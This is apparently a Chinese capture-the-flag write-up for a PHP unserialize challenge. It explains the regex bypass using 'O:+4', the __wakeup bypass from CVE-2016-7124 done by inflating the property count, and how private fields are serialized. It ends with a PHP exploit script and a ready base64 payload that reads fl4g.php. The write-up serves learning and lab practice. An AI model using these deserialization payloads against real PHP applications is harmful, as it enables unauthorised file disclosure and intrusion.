[web] Web

    技术2024-08-07  67

    Web_php_unserialize

    文章目录

    Web_php_unserialize反序列化绕过数字绕过 __wakeup() 函数serialize的特性EXP 源码如下: 知识点:

    1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数) 2、__destruct():当对象被销毁时会自动调用。(析构函数) 3、__wakeup():unserialize() 时会自动调用 4. 正则 : /[oc]:\d+:/i \d 是匹配一个数字 +表示一个或多个 i忽略大小写(修饰符) [xyz]字符集合,匹配所包含的任意一个字符(x,y,z) 正则表达式中"/"是表达式开始和结束的标记 5. preg_match 返回1 / 0 preg_match_all 返回 0/匹配次数 如 : preg_match("/php/i", "PHP is the web scripting language of choice.") 两个函数用法一样

    flag在 fl4g.php

    想到了正则表达式绕过, 但是就卡在这了.后面也没想到绕过正则后构造什么payload

    这恰好是这题的两个考察点

    反序列化绕过数字

    "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

    ----> "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

    +号绕过

    这里利用了 unserializer 的一个特性

    具体可参考:

    https://www.phpbug.cn/archives/32.html

    https://www.guildhab.top/?p=990

    绕过 __wakeup() 函数

    参考:

    CVE-2016-7124 https://bugs.php.net/bug.php?id=72663

    创建对象之后 , 对对象的属性检查 , 若属性检查通过 , 就调用 __wakeup() 方法

    若对象属性检查不通过 , 则会跳出 object_common2() 函数 , 不再调用 __wakeup() 函数 . 由于对象及其属性在 object_common1() 中已经被创建 , 因此这里对象将会被销毁 , 从而触发析构函数__destruct() .

    因此这里我们仅需要破坏对象属性检查就可以绕过 __wakeup() 函数 , 最简单的方法就是增大对象属性的个数 , 使其饭序列化异常 .

    PHP 7 中这部分代码被修改 ,无法再用该方式绕过 __wakeup() 方法

    使反序列化的属性值改成大于真实值即可

    如正常情况下: O:4:“Demo”:1:{s:10:" Demo file";s:8:“fl4g.php”;}

    改为 O:4:“Demo”:999:{s:10:" Demo file";s:8:“fl4g.php”;}

    serialize的特性

    参考: https://www.cnblogs.com/webu/archive/2013/01/28/2879383.html 或者 https://blog.csdn.net/a5816138/article/details/53303299

    对象的序列化

    对象(object)通常被序列化为:

    O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

    其中<length> 表示对象的类名<class name> 的字符串长度。<n> 表示对象中的字段1个数。 这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和const 声明的静态字段。也就是说只有实例(instance)字段。 <filed name 1>、<filed name 2>……<filed name n>表示每个字段的字段名,而<filed value 1>,<filed value 2>……<filed value n> 则表示与字段名所对应的字段值。 字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。 字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。 但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。 对象字段名的序列化 var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。 protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因 此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0<declared class name>\0 的前缀。 这里 <declared class name> 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。 字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中\0 字符也是计算长度的。

    做题时复制序列化的东西会出错,应该和\0有关 , 00截断了

    EXP

    <?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $test=new Demo("fl4g.php"); $a=serialize($test); $a=str_replace('O:4','O:+4',$a); $a=str_replace('1:{','2:{',$a); echo base64_encode($a); ?> TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    Processed: 0.018, SQL: 12